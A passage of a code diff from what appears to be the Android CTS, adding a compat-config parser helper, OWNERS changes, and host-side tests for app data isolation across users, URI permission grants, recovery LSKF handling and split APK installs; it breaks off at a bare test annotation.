+        String sinceSdkAsString = matcher.group("sinceSdk");
+        if (sinceSdkAsString != null) {
+            try {
+                sinceSdk = Integer.parseInt(sinceSdkAsString);
+            } catch (NumberFormatException e) {
+                throw new RuntimeException("Invalid sinceSdk for change!", e);
+            }
+        }
+        if (matcher.group("disabled") != null) {
+            disabled = true;
+        }
+        if (matcher.group("loggingOnly") != null) {
+            loggingOnly = true;
+        }
+        if (matcher.group("deferredOverrides") != null) {
+            hasDeferredOverrides = true;
+            deferredOverridesStr = matcher.group("deferredOverrides");
+        }
+        if (matcher.group("overrides") != null) {
+            hasOverrides = true;
+            overridesStr = matcher.group("overrides");
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly,
+                          hasDeferredOverrides, hasOverrides, deferredOverridesStr,
+                          overridesStr);
+    }
+
+    public static Change fromNode(Node node) {
+        Element element = (Element) node;
+        long changeId = Long.parseLong(element.getAttribute("id"));
+        String changeName = element.getAttribute("name");
+        int sinceSdk = -1;
+        if (element.hasAttribute("enableAfterTargetSdk")
+            && element.hasAttribute("enableSinceTargetSdk")) {
+                throw new IllegalArgumentException("Invalid change node!"
+                + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
+        }
+        if (element.hasAttribute("enableAfterTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
+        }
+        if (element.hasAttribute("enableSinceTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
+        }
+        boolean disabled = false;
+        if (element.hasAttribute("disabled")) {
+            disabled = true;
+        }
+        boolean loggingOnly = false;
+        if (element.hasAttribute("loggingOnly")) {
+            loggingOnly = true;
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, false, false,
+                          null, null);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
+    }
+
+    @Override
+    public boolean equals(Object other) {
+        if (this == other) {
+            return true;
+        }
+        if (other == null || !(other instanceof Change)) {
+            return false;
+        }
+        Change that = (Change) other;
+        return this.changeId == that.changeId
+            && Objects.equals(this.changeName, that.changeName)
+            && this.sinceSdk == that.sinceSdk
+            && this.disabled == that.disabled
+            && this.loggingOnly == that.loggingOnly
+            && this.hasDeferredOverrides == that.hasDeferredOverrides
+            && this.hasOverrides == that.hasOverrides;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("ChangeId(" + changeId);
+        if (changeName != null && !changeName.isEmpty()) {
+            sb.append("; name=" + changeName);
+        }
+        if (sinceSdk != 0) {
+            sb.append("; enableSinceTargetSdk=" + sinceSdk);
+        }
+        if (disabled) {
+            sb.append("; disabled");
+        }
+        if (hasDeferredOverrides) {
+            sb.append("; deferredOverrides={");
+            sb.append(deferredOverridesStr);
+            sb.append("}");
+        }
+        if (hasOverrides) {
+            sb.append("; packageOverrides={");
+            sb.append(overridesStr);
+            sb.append("}");
+        }
+        sb.append(")");
+        return sb.toString();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 1217fbe..b4b16f5 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -46,6 +46,7 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -380,4 +381,15 @@
         getDevice().executeShellCommand(command, receiver);
         return receiver.getOutput();
     }
+
+    /**
+     * Get the on device compat config.
+     */
+    protected List<Change> getOnDeviceCompatConfig() throws Exception {
+        String config = runCommand("dumpsys platform_compat");
+        return Arrays.stream(config.split("\n"))
+                .map(Change::fromString)
+                .collect(Collectors.toList());
+    }
+
 }
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 15dfecc..f438e7b 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,24 +1,16 @@
 # Bug component: 533114
 toddke@google.com
 per-file AccessSerialNumberTest.java = moltmann@google.com
-per-file AdoptableFeatureConsistentTest.java = jsharkey@google.com
-per-file AdoptableHostTest.java = jsharkey@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
-per-file AppDataIsolationTests.java = rickywai@google.com
+per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
 per-file AppOpsTest.java = moltmann@google.com
 per-file AppSecurityTests.java = cbrubaker@google.com
 per-file AuthBoundKeyTest.java = cbrubaker@google.com
 per-file BaseInstallMultiple.java = toddke@google.com
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file DirectBootHostTest.java = jsharkey@google.com
-per-file DocumentsTestCase.java = dikshag@google.com
-per-file DocumentsTestCase.java = zemiao@google.com
-per-file DocumentsTest.java = dikshag@google.com
-per-file DocumentsTest.java = zemiao@google.com
 per-file EphemeralTest.java = toddke@google.com
-per-file ExternalStorageHostTest.java = jsharkey@google.com
 per-file ExternalStorageHostTest.java = nandana@google.com
 per-file ExternalStorageHostTest.java = zezeozue@google.com
 per-file InstantAppUserTest.java = toddke@google.com
@@ -35,10 +27,8 @@
 per-file PrivilegedUpdateTests.java = toddke@google.com
 per-file ReviewPermissionHelper = moltmann@google.com
 per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
 per-file SharedUserIdTest.java = toddke@google.com
 per-file SplitTests.java = patb@google.com,toddke@google.com
-per-file StorageHostTest.java = jsharkey@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
 # test apps
 per-file BasePermissionsTest.java = moltmann@google.com
@@ -50,3 +40,12 @@
 per-file CtsShim*.apk = ioffe@google.com
 per-file com.android.apex.cts.shim.*.apex = dariofreni@google.com
 per-file com.android.apex.cts.shim.*.apex = ioffe@google.com
+
+per-file *Adoptable* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *DirectBoot* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Storage* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Documents* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
+per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 08581f6..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -18,10 +18,10 @@
 
 import static android.appsecurity.cts.Utils.waitForBootCompleted;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,11 +30,13 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
-import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Set of tests that verify app data isolation works.
  */
@@ -44,6 +46,7 @@
     private static final String APPA_APK = "CtsAppDataIsolationAppA.apk";
     private static final String APP_SHARED_A_APK = "CtsAppDataIsolationAppSharedA.apk";
     private static final String APP_DIRECT_BOOT_A_APK = "CtsAppDataIsolationAppDirectBootA.apk";
+    private static final String APP_API29_A_APK = "CtsAppDataIsolationAppApi29A.apk";
     private static final String APPA_PKG = "com.android.cts.appdataisolation.appa";
     private static final String APPA_CLASS =
             "com.android.cts.appdataisolation.appa.AppATests";
@@ -76,8 +79,6 @@
     private static final String FBE_MODE_NATIVE = "native";
     private static final String FBE_MODE_EMULATED = "emulated";
 
-    private static final String CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE =
-            "getprop persist.sys.vold_app_data_isolation_enabled";
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
     private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
     private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -92,6 +93,12 @@
             "testAppAExternalDirsDoExist";
     private static final String APPA_METHOD_CHECK_EXTERNAL_DIRS_UNAVAILABLE =
             "testAppAExternalDirsUnavailable";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT =
+            "testOtherUserDirsNotPresent";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE =
+            "testOtherUserDirsNotAccessible";
+
+    private int mOtherUser = -1;
 
     @Before
     public void setUp() throws Exception {
@@ -102,19 +109,13 @@
 
     @After
     public void tearDown() throws Exception {
+        if (mOtherUser != -1) {
+            getDevice().removeUser(mOtherUser);
+        }
         getDevice().uninstallPackage(APPA_PKG);
         getDevice().uninstallPackage(APPB_PKG);
     }
 
-    private void forceStopPackage(String packageName) throws Exception {
-        getDevice().executeShellCommand("am force-stop " + packageName);
-    }
-
-    private void reboot() throws Exception {
-        getDevice().reboot();
-        waitForBootCompleted(getDevice());
-    }
-
     @Test
     public void testAppAbleToAccessItsDataAfterForceStop() throws Exception {
         // Install AppA and verify no data stored
@@ -176,19 +177,12 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
     }
 
-    private boolean isFbeModeEmulated() throws Exception {
-        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (mode.equals(FBE_MODE_EMULATED)) {
-            return true;
-        } else if (mode.equals(FBE_MODE_NATIVE)) {
-            return false;
-        }
-        fail("Unknown FBE mode: " + mode);
-        return false;
-    }
-
     @Test
     public void testDirectBootModeWorks() throws Exception {
+        if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            LogUtil.CLog.d("Device is NOT encrypted with file-based encryption. skipping test");
+            return;
+        }
         assumeTrue("Screen lock is not supported so skip direct boot test",
                 hasDeviceFeature("android.software.secure_lock_screen"));
         // Install AppA and verify no data stored
@@ -214,7 +208,14 @@
             // Setup screenlock
             getDevice().executeShellCommand("settings put global require_password_to_decrypt 0");
             getDevice().executeShellCommand("locksettings set-disabled false");
-            getDevice().executeShellCommand("locksettings set-pin 12345");
+            String response = getDevice().executeShellCommand("locksettings set-pin 12345");
+            if (!response.contains("12345")) {
+                // This seems to fail occasionally. Try again once, then give up.
+                Thread.sleep(500);
+                response = getDevice().executeShellCommand("locksettings set-pin 12345");
+                assumeTrue("Test requires setting a pin, which failed: " + response,
+                        response.contains("12345"));
+            }
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -332,13 +333,6 @@
         runDeviceTests(APPB_PKG, APPB_CLASS, APPB_METHOD_CAN_ACCESS_APPA_EXTERNAL_DIRS);
     }
 
-    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
-            throws DeviceNotAvailableException {
-        Assume.assumeThat(device.executeShellCommand(
-                CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE).trim(),
-                is("true"));
-    }
-
     @Test
     public void testIsolatedProcess() throws Exception {
         new InstallMultiple().addFile(APPA_APK).run();
@@ -352,4 +346,92 @@
         new InstallMultiple().addFile(APPB_APK).run();
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS);
     }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDir() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk > 29, directories related to other users are not visible at all.
+        new InstallMultiple().addFile(APPA_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDirApi29() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk <= 29, directories related to other users are visible but we cannot
+        // access anything within them.
+        new InstallMultiple().addFile(APP_API29_A_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    private void assumeCanCreateUser() throws DeviceNotAvailableException {
+        assumeTrue("Test requires multi-user support", mSupportsMultiUser);
+        // If we're already at the user limit, e.g. when running the test in a secondary user,
+        // then we can't create another one.
+        int currentUserCount = getDevice().listUsers().size();
+        assumeTrue("Test requires creating another user",
+                getDevice().getMaxNumberOfUsersSupported() > currentUserCount);
+    }
+
+    private void runDeviceTests(String pkgName, String testClassName, String testMethodName,
+            Map<String, String> instrumentationArgs) throws DeviceNotAvailableException {
+        runDeviceTests(getDevice(), null, pkgName, testClassName, testMethodName, null,
+                10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, instrumentationArgs);
+    }
+
+    private Map<String, String> makeOtherUserIdArgs(int otherUser) {
+        Map<String, String> args = new HashMap<>();
+        args.put("other_user_id", Integer.toString(otherUser));
+        return args;
+    }
+
+    private void forceStopPackage(String packageName) throws Exception {
+        getDevice().executeShellCommand("am force-stop " + packageName);
+    }
+
+    private void reboot() throws Exception {
+        getDevice().reboot();
+        waitForBootCompleted(getDevice());
+    }
+
+    private void installExistingAppAsUser(String packageName, int userId) throws Exception {
+        final String installString =
+                "Package " + packageName + " installed for user: " + userId + "\n";
+        assertEquals(installString, getDevice().executeShellCommand(
+                "cmd package install-existing --full"
+                        + " --user " + Integer.toString(userId)
+                        + " " + packageName));
+    }
+
+    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
+            throws DeviceNotAvailableException {
+        assumeThat(device.executeShellCommand(
+                "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
+                is("true"));
+    }
+
+    private boolean isFbeModeEmulated() throws Exception {
+        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (mode.equals(FBE_MODE_EMULATED)) {
+            return true;
+        } else if (mode.equals(FBE_MODE_NATIVE)) {
+            return false;
+        }
+        fail("Unknown FBE mode: " + mode);
+        return false;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3bea273..92f4de5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.RestrictedBuildTest;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
@@ -187,7 +188,11 @@
     /**
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
-    @Test
+    // RestrictedBuildTest ensures the build only runs on user builds where the signature
+    // verification will be performed, but JUnit4TestNotRun reports the test will not be run because
+    // the method does not have the @Test annotation.
+    @SuppressWarnings("JUnit4TestNotRun")
+    @RestrictedBuildTest
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testInstrumentationDiffCert_full() throws Exception {
         testInstrumentationDiffCert(false, false);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index d536ade..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
 
 package android.appsecurity.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,7 @@
         }
     }
 
+    @SecurityTest
     public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
         runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
                 "testAfterMoveDocumentInStorage_revokeUriPermission");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 1c5ef4c..3dfeb1c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -510,35 +510,33 @@
 
     @Test
     public void testGrantUriPermission() throws Exception {
-        doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{},
+        doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
                 new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
-        doGrantUriPermission(MEDIA, "testGrantUriPermission",
-                new String[]{PERM_READ_EXTERNAL_STORAGE},
-                new String[]{PERM_WRITE_EXTERNAL_STORAGE});
-        doGrantUriPermission(MEDIA, "testGrantUriPermission",
-                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE},
-                new String[] {});
     }
 
     @Test
     public void testGrantUriPermission29() throws Exception {
-        doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{},
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
                 new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
-        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
-                new String[]{PERM_READ_EXTERNAL_STORAGE},
-                new String[]{PERM_WRITE_EXTERNAL_STORAGE});
-        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
-                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE},
-                new String[] {});
     }
 
-    private void doGrantUriPermission(Config config, String method, String[] grantPermissions,
-            String[] revokePermissions) throws Exception {
+    private void doGrantUriPermission(Config config, String method, String[] grantPermissions)
+            throws Exception {
         uninstallPackage(config.apk);
         installPackage(config.apk);
         for (int user : mUsers) {
+            // Over revoke all permissions and grant necessary permissions later.
+            updatePermissions(config.pkg, user, new String[] {
+                    PERM_READ_EXTERNAL_STORAGE,
+                    PERM_WRITE_EXTERNAL_STORAGE,
+            }, false);
             updatePermissions(config.pkg, user, grantPermissions, true);
-            updatePermissions(config.pkg, user, revokePermissions, false);
             runDeviceTests(config.pkg, config.clazz, method, user);
         }
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
index e241668..e0fe368 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -16,6 +16,7 @@
 
 package android.appsecurity.cts;
 
+import android.platform.test.annotations.SecurityTest;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -64,6 +65,7 @@
                 "testCannotEscalateNonRuntimePermissionsToRuntime");
     }
 
+    @SecurityTest
     public void testNoPermissionEscalationAfterReboot() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
                 APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 8433aa7..628f8dd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -288,14 +288,14 @@
     }
 
     private void deviceRequestLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery request-lskf cts-test1");
+        String res = getDevice().executeShellCommand("cmd recovery request-lskf " + PKG);
         if (res == null || !res.contains("success")) {
             fail("could not set up recovery request-lskf");
         }
     }
 
     private void deviceClearLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery clear-lskf");
+        String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + PKG);
         if (res == null || !res.contains("success")) {
             fail("could not clear-lskf");
         }
@@ -326,7 +326,8 @@
     }
 
     private void deviceRebootAndApply() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply cts-test1 cts-test");
+        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + PKG
+                + " cts-test");
         if (res != null && res.contains("Reboot and apply status: failure")) {
             fail("could not call reboot-and-apply");
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 3c8b4a6..45f6f4b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -39,7 +39,7 @@
     static final String APK_NO_RESTART_FEATURE = "CtsNoRestartFeature.apk";
 
     static final String APK_NEED_SPLIT_BASE = "CtsNeedSplitApp.apk";
-    static final String APK_NEED_SPLIT_FEATURE = "CtsNeedSplitFeature.apk";
+    static final String APK_NEED_SPLIT_FEATURE_WARM = "CtsNeedSplitFeatureWarm.apk";
     static final String APK_NEED_SPLIT_CONFIG = "CtsNeedSplitApp_xxhdpi-v4.apk";
 
     static final String PKG = "com.android.cts.splitapp";
@@ -53,6 +53,7 @@
     static final String APK_xxhdpi = "CtsSplitApp_xxhdpi-v4.apk";
 
     private static final String APK_v7 = "CtsSplitApp_v7.apk";
+    private static final String APK_v23 = "CtsSplitApp_v23.apk";
     private static final String APK_fr = "CtsSplitApp_fr.apk";
     private static final String APK_de = "CtsSplitApp_de.apk";
 
@@ -73,8 +74,15 @@
     private static final String APK_DIFF_CERT = "CtsSplitAppDiffCert.apk";
     private static final String APK_DIFF_CERT_v7 = "CtsSplitAppDiffCert_v7.apk";
 
-    private static final String APK_FEATURE = "CtsSplitAppFeature.apk";
-    private static final String APK_FEATURE_v7 = "CtsSplitAppFeature_v7.apk";
+    private static final String APK_FEATURE_WARM = "CtsSplitAppFeatureWarm.apk";
+    private static final String APK_FEATURE_WARM_v7 = "CtsSplitAppFeatureWarm_v7.apk";
+    private static final String APK_FEATURE_WARM_v23 = "CtsSplitAppFeatureWarm_v23.apk";
+
+    private static final String APK_FEATURE_ROSE = "CtsSplitAppFeatureRose.apk";
+    private static final String APK_FEATURE_ROSE_v23 = "CtsSplitAppFeatureRose_v23.apk";
+
+    private static final String APK_REVISION_A = "CtsSplitAppRevisionA.apk";
+    private static final String APK_FEATURE_WARM_REVISION_A = "CtsSplitAppFeatureWarmRevisionA.apk";
 
     static final HashMap<String, String> ABI_TO_APK = new HashMap<>();
 
@@ -452,44 +460,65 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureBase_full() throws Exception {
-        testFeatureBase(false);
+    public void testFeatureWarmBase_full() throws Exception {
+        testFeatureWarmBase(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureBase_instant() throws Exception {
-        testFeatureBase(true);
+    public void testFeatureWarmBase_instant() throws Exception {
+        testFeatureWarmBase(true);
     }
-    private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).run();
-        runDeviceTests(PKG, CLASS, "testFeatureBase");
+    private void testFeatureWarmBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmBase");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testFeatureApi_full() throws Exception {
-        testFeatureApi(false);
+    public void testFeatureWarmApi_full() throws Exception {
+        testFeatureWarmApi(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testFeatureApi_instant() throws Exception {
-        testFeatureApi(true);
+    public void testFeatureWarmApi_instant() throws Exception {
+        testFeatureWarmApi(true);
     }
-    private void testFeatureApi(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE).addFile(APK_FEATURE_v7).run();
-        runDeviceTests(PKG, CLASS, "testFeatureApi");
+    private void testFeatureWarmApi(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v7).run();
+        runDeviceTests(PKG, CLASS, "testFeatureWarmApi");
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedBase() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedBase_full() throws Exception {
+        testInheritUpdatedBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedBase_instant() throws Exception {
+        testInheritUpdatedBase(true);
+    }
+    public void testInheritUpdatedBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedBase_withRevisionA", instant);
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInheritUpdatedSplit() throws Exception {
-        // TODO: flesh out this test
+    public void testInheritUpdatedSplit_full() throws Exception {
+        testInheritUpdatedSplit(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInheritUpdatedSplit_instant() throws Exception {
+        testInheritUpdatedSplit(true);
+    }
+    private void testInheritUpdatedSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
     }
 
     @Test
@@ -535,17 +564,17 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_full() throws Exception {
-        testRequiredSplitInstalledFeature(false);
+    public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_instant() throws Exception {
-        testRequiredSplitInstalledFeature(true);
+    public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(true);
     }
-    private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
-                .run();
+    private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
     }
 
     @Test
@@ -577,11 +606,11 @@
         // start with a base and two splits
         new InstallMultiple(instant)
                 .addFile(APK_NEED_SPLIT_BASE)
-                .addFile(APK_NEED_SPLIT_FEATURE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM)
                 .addFile(APK_NEED_SPLIT_CONFIG)
                 .run();
         // it's okay to remove one of the splits
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature").run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
         // but, not to remove all of them
         new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
                 .runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
@@ -606,4 +635,128 @@
         new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
+
+    @Test
